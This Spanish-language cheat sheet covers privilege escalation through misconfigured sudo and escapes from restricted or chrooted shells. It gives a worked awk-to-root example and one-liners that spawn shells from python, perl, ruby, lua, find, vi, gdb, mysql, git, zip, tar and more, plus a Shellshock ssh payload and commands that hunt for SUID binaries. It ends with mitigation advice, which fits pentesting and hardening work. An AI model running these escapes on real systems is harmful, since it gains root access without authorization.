Table of Contents

Escalado con sudo / Ejecutar una shell en entornos restringidos / enjaulados (Shell spawning)

Dependiendo de como se haya configurado sudo, es posible ejecutar comandos que nos pueden permitir obtener una shell de root. El mismo mecanismo se puede utilizar para intentar obtener una terminal con privilegios en terminales restringidas o entornos enjaulados. Estos son algunos programas que facilitan poder arrancar una shell. En el proyecto https://gtfobins.github.io/ se podrá encontrar un gran recopilatorio de binarios que pueden ser aprovechados para sortear restricciones, ya sea a nivel de shell restringidas o bien sudo/suid.

Ejemplo de escalda de privilegios usando awk.

user1@vagrant:~$ sudo -l   # Configuración sudo del usuario user1.
Matching Defaults entries for user1 on vagrant.vm:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User user1 may run the following commands on vagrant.vm:
    (ALL : ALL) /usr/bin/awk
 
user1@vagrant:~$ id   # UIDs del usuario user1.
uid=1001(user1) gid=1002(user1) groups=1002(user1)
user1@vagrant:~$ sudo awk 'BEGIN {system("/bin/sh")}'   # Escalada de privilegios.
 
user1@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root)   # Usuario root.

Aplicaciones que pueden facilitar escalada de privilegios

Python.

python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import os; os.system("/bin/bash")'
python
>>> import os
>>> os.system("/bin/bash")'

Awk.

awk 'BEGIN {system("/bin/sh")}'

Find.

find /home/user/.cmake/ -name packages -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find /home/user/.cmake/ -name packages -exec /bin/sh \;

Perl (linea de comandos).

perl -e 'exec "/bin/bash";'

Perl (dentro de un script / modo interactivo).

exec "/bin/sh";

Ruby (linea de comandos).

ruby -e "system '/bin/sh'"
ruby -e "exec '/bin/sh'"

Ruby (dentro de un script / modo interactivo).

exec "/bin/sh"
system "/bin/sh"

Lua (linea de comandos).

lua -e "os.execute('/bin/sh')"

Lua (dentro de un script / modo interactivo).

os.execute('/bin/sh')

except

except spawn

gdb

gdb
(gdb)!/bin/bash

MySQL

mysql> \! /bin/bash

Vi / VIM

:!bash
:set shell=/bin/bash
:shell

Pico

pico -s "/bin/bash" 
Escribir /bin/bash y pulsar Ctrl+t.

Git

git help status > !/bin/bash

more / less / man / nmap (versiones antiguas con opción %%–&&interactive)

!sh

ssh

ssh user@XX -t "/bin/sh"
ssh user@XX -t "bash --noprofile"
ssh user@XX -t "() { :; }; /bin/bash" (shellshock)

zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

Explorar el entorno en shells muy restrictivas

Buscar procesos enjaulados: buscar_procesos_corriendo_en_jaulas_chroot

Conocer el entorno donde se está enjaulado.

echo $SHELL
sudo -s
printenv
env
find / -perm -4000 -exec ls -ldb {} \; # Buscar comandos con SUID.

Listar ficheros. (Alternativa a dir, ls,…)

echo *

Ver contenido de un fichero (Alternativa a cat, less, more,…)

while read line; do echo "$line"; done < file.txt

Contar las lineas de un determinado fichero. (Alternativa a wc)

grep -c -i ".*" /etc/passwd
i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i 

Conocer la identidad del usuario en uso.

i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i
echo $UID

NOTA: echo y los nombres de variables pueden dar información de interés. El comando “env” muestra un buen listado de variables disponibles.

Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.

# Ficheros con permisos de lectura.
for x in `echo /sbin/*`; do if [ -r $x ]; then echo $x; fi; done
 
# Ficheros con permisos de escritura "-w", de ejecución: "-x",...
# Leer: http://tldp.org/LDP/abs/html/fto.html

Mitigación de escalado con sudo / SUID

La correcta mitigación del abuso de sudo requiere una gestión cuidadosa de los usuarios de sudo y sus permisos. Los administradores deben asegurarse de que sus usuarios sudo utilicen contraseñas robustas.

Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi.

Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo.

Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.

Considerar el uso de particiones con la opción nosuid.

Enlaces de interés: https://gtfobins.github.io/